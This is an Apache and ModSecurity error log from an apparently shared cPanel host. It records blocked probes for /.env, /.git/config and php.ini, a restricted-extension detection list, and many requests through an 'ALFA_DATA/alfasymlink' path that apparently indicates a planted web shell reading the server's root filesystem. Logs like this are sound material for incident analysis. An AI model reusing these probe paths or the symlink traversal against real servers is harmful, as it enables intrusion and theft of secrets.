[Mon Oct 26 04:45:36.291786 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 98.83.72.38:9257] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:45:40.318125 2026] [core:error] [pid 3001569:tid 3001569] (13)Permission denied: [client 107.20.255.194:43411] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:03/physical_node/driver/uevent
[Mon Oct 26 04:45:42.317106 2026] [security2:error] [pid 3000167:tid 3000167] [client 54.87.11.104:51872] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "arg1.sherwinpinturas.com"] [uri "/"] [unique_id "at8TNtrbIDRQQV24-Y9eFwAAABc"], referer: https://arg1.sherwinpinturas.com/
[Mon Oct 26 04:45:42.317156 2026] [security2:error] [pid 3000167:tid 3000167] [client 54.87.11.104:51872] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "arg1.sherwinpinturas.com"] [uri "/"] [unique_id "at8TNtrbIDRQQV24-Y9eFwAAABc"], referer: https://arg1.sherwinpinturas.com/
[Mon Oct 26 04:45:48.075080 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 85.208.96.206:28854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/objs_per_slab
[Mon Oct 26 04:45:56.275671 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 3.229.95.193:43799] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:46:03.540618 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 44.221.180.179:25926] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:46:07.460401 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 44.223.115.10:9939] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:46:15.846963 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 3.225.9.97:48554] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:46:22.272101 2026] [security2:error] [pid 2995190:tid 2995190] [client 185.191.171.13:62794] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/oldlocal/index.db"] [unique_id "at8TXh_ViEB4VmIsS1QV8AAAAAw"]
[Mon Oct 26 04:46:22.272582 2026] [security2:error] [pid 2995190:tid 2995190] [client 185.191.171.13:62794] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/oldlocal/index.db"] [unique_id "at8TXh_ViEB4VmIsS1QV8AAAAAw"]
[Mon Oct 26 04:46:22.272973 2026] [security2:error] [pid 2995190:tid 2995190] [client 185.191.171.13:62794] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/oldlocal/index.db"] [unique_id "at8TXh_ViEB4VmIsS1QV8AAAAAw"]
[Mon Oct 26 04:46:23.647598 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 44.212.232.231:58922] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:46:35.853389 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 52.2.4.213:12989] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:46:40.582709 2026] [security2:error] [pid 3000182:tid 3000182] [client 130.12.180.168:43558] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8TcPx_QWKZoq9_Fp9snQAAAB4"]
[Mon Oct 26 04:46:40.582952 2026] [security2:error] [pid 3000182:tid 3000182] [client 130.12.180.168:43558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8TcPx_QWKZoq9_Fp9snQAAAB4"]
[Mon Oct 26 04:46:40.583223 2026] [security2:error] [pid 3000182:tid 3000182] [client 130.12.180.168:43558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8TcPx_QWKZoq9_Fp9snQAAAB4"]
[Mon Oct 26 04:46:43.969089 2026] [security2:error] [pid 2995190:tid 2995190] [client 18.214.238.178:39707] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:01/PNP0B00:00/physical_node/driver/"] [unique_id "at8Tcx_ViEB4VmIsS1QV8QAAAAw"]
[Mon Oct 26 04:46:43.969148 2026] [security2:error] [pid 2995190:tid 2995190] [client 18.214.238.178:39707] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:01/PNP0B00:00/physical_node/driver/"] [unique_id "at8Tcx_ViEB4VmIsS1QV8QAAAAw"]
[Mon Oct 26 04:46:47.698610 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 100.28.133.214:4441] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:46:51.586568 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 44.212.232.231:7947] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:46:55.592577 2026] [core:error] [pid 3000176:tid 3000176] (13)Permission denied: [client 54.80.73.122:41926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/subsystem/uevent
[Mon Oct 26 04:47:03.618772 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 52.54.15.103:20457] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:47:11.658284 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 107.20.255.194:53967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:47:31.993326 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 3.94.199.128:19989] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:47:39.916715 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 23.21.227.240:2615] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:47:44.805880 2026] [security2:error] [pid 3000174:tid 3000174] [client 34.86.93.153:58418] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at8TsPEaLLDWHqkTH2BG_QAAABk"]
[Mon Oct 26 04:47:44.806155 2026] [security2:error] [pid 3000174:tid 3000174] [client 34.86.93.153:58418] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at8TsPEaLLDWHqkTH2BG_QAAABk"]
[Mon Oct 26 04:47:44.806369 2026] [security2:error] [pid 3000174:tid 3000174] [client 34.86.93.153:58418] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at8TsPEaLLDWHqkTH2BG_QAAABk"]
[Mon Oct 26 04:47:44.806683 2026] [security2:error] [pid 3000174:tid 3000174] [client 34.86.93.153:58418] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at8TsPEaLLDWHqkTH2BG_QAAABk"]
[Mon Oct 26 04:47:51.958557 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 54.84.102.81:29912] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:48:11.778212 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 23.21.204.95:9321] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:48:15.863995 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 44.212.106.171:2708] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:00/physical_node/i2c-0/new_device
[Mon Oct 26 04:48:22.355116 2026] [security2:error] [pid 3000155:tid 3000155] [client 107.172.76.131:52476] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8TysSU-1yln6Gx7K9BHAAAABE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 04:48:22.355163 2026] [security2:error] [pid 3000155:tid 3000155] [client 107.172.76.131:52476] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8TysSU-1yln6Gx7K9BHAAAABE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 04:48:23.731882 2026] [ssl:error] [pid 2992282:tid 2992282] (5)Input/output error: [client 3.218.103.254:7516] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:48:35.973595 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 3.218.35.239:14733] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:48:51.755264 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 3.225.9.97:10092] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:48:56.090177 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 44.195.50.71:1745] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:49:08.005006 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 54.80.185.200:39608] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:49:14.439640 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 85.208.96.195:41908] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:49:14.540532 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 85.208.96.195:41918] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:49:27.754224 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 23.21.175.228:52098] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:49:35.907263 2026] [ssl:error] [pid 3000167:tid 3000167] (70014)End of file found: [client 44.205.192.249:22642] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:49:47.675333 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 54.225.98.148:3353] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:49:47.878889 2026] [ssl:error] [pid 3002067:tid 3002067] (70014)End of file found: [client 85.208.96.193:64864] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:49:53.543379 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 85.208.96.209:32628] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_tree_mark/cpu_slabs
[Mon Oct 26 04:49:59.563418 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 54.145.82.217:42236] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:50:03.603852 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 3.94.199.128:23509] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:50:19.819150 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 34.206.249.188:2492] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:50:23.600871 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 23.21.225.190:19336] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:50:26.426073 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 185.191.171.11:33702] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:50:27.352451 2026] [ssl:error] [pid 3002067:tid 3002067] (70014)End of file found: [client 18.214.124.6:17236] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:50:31.481198 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 107.20.255.194:56339] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:50:39.395338 2026] [core:error] [pid 3000182:tid 3000182] (13)Permission denied: [client 3.211.105.134:57133] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/uhci_hcd/bind
[Mon Oct 26 04:50:47.275544 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 3.213.85.234:60773] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:50:55.354697 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 44.221.37.41:4617] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:51:07.379425 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 35.171.117.160:29172] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:51:11.262557 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 54.221.203.24:61750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/resource4_wc
[Mon Oct 26 04:51:19.463671 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 52.70.209.13:20846] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:51:27.578498 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 34.233.219.155:14263] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:51:31.393327 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 34.225.243.131:12101] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:51:39.070252 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 54.156.248.117:56168] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:51:47.101765 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 52.205.113.104:38822] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:51:59.341496 2026] [core:error] [pid 3001569:tid 3001569] (13)Permission denied: [client 34.195.60.66:35812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory19/node0/memory10/subsystem/drivers_probe
[Mon Oct 26 04:52:03.315637 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 52.205.141.124:19038] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:52:07.054426 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 18.213.70.100:64027] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:52:11.054881 2026] [core:error] [pid 3002067:tid 3002067] (13)Permission denied: [client 54.85.126.86:7061] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory6/node0/compact
[Mon Oct 26 04:52:15.166855 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 3.90.73.206:49314] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:52:18.427504 2026] [security2:error] [pid 3000174:tid 3000174] [client 147.185.133.27:55851] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at8UwvEaLLDWHqkTH2BHAwAAABk"]
[Mon Oct 26 04:52:18.428421 2026] [authz_core:error] [pid 3000174:tid 3000174] [client 147.185.133.27:55851] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 04:52:18.896096 2026] [ssl:error] [pid 3001569:tid 3001569] (5)Input/output error: [client 50.19.79.213:61704] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:52:28.391806 2026] [core:error] [pid 3002067:tid 3002067] (13)Permission denied: [client 185.191.171.5:41826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/hwcache_align
[Mon Oct 26 04:52:30.880345 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 54.83.240.58:39964] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:52:34.892914 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 3.217.171.106:17478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:52:40.607738 2026] [core:error] [pid 3000123:tid 3000123] (13)Permission denied: [client 85.208.96.201:27254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_inode_cache/reclaim_account
[Mon Oct 26 04:52:42.804286 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 52.6.232.201:5517] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:52:43.598123 2026] [security2:error] [pid 3000182:tid 3000182] [client 43.153.119.119:56804] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at8U2_x_QWKZoq9_Fp9ssQAAAB4"]
[Mon Oct 26 04:52:43.611748 2026] [authz_core:error] [pid 3000182:tid 3000182] [client 43.153.119.119:56804] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 04:52:45.773806 2026] [security2:error] [pid 3002067:tid 3002067] [client 91.92.240.86:40106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8U3Vsig8HGQd7z4PYSNwAAAAM"]
[Mon Oct 26 04:52:45.774093 2026] [security2:error] [pid 3002067:tid 3002067] [client 91.92.240.86:40106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8U3Vsig8HGQd7z4PYSNwAAAAM"]
[Mon Oct 26 04:52:45.774400 2026] [security2:error] [pid 3002067:tid 3002067] [client 91.92.240.86:40106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8U3Vsig8HGQd7z4PYSNwAAAAM"]
[Mon Oct 26 04:52:50.966777 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 184.73.68.20:3606] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:53:10.692684 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 52.3.155.146:49426] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:53:14.649233 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 54.159.18.27:45812] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:53:26.424013 2026] [ssl:error] [pid 3000167:tid 3000167] (70014)End of file found: [client 54.147.182.90:29308] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:53:30.456573 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 52.204.253.129:36912] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:53:46.571990 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 44.194.134.53:35576] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:53:50.244905 2026] [core:error] [pid 3000167:tid 3000167] (13)Permission denied: [client 34.194.95.99:25521] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory21/subsystem/uevent
[Mon Oct 26 04:53:52.387752 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 185.191.171.4:60954] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/free_calls
[Mon Oct 26 04:54:06.515073 2026] [core:error] [pid 3000176:tid 3000176] (13)Permission denied: [client 44.215.235.20:33512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/memory10/subsystem/uevent
[Mon Oct 26 04:54:06.651469 2026] [core:error] [pid 3000167:tid 3000167] (13)Permission denied: [client 85.208.96.211:19394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/configfs_dir_cache/reclaim_account
[Mon Oct 26 04:54:10.185940 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 52.71.203.206:35139] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:54:22.322301 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 23.21.175.228:30857] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:54:29.716562 2026] [core:error] [pid 3000048:tid 3000048] (13)Permission denied: [client 85.208.96.196:57484] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/partial
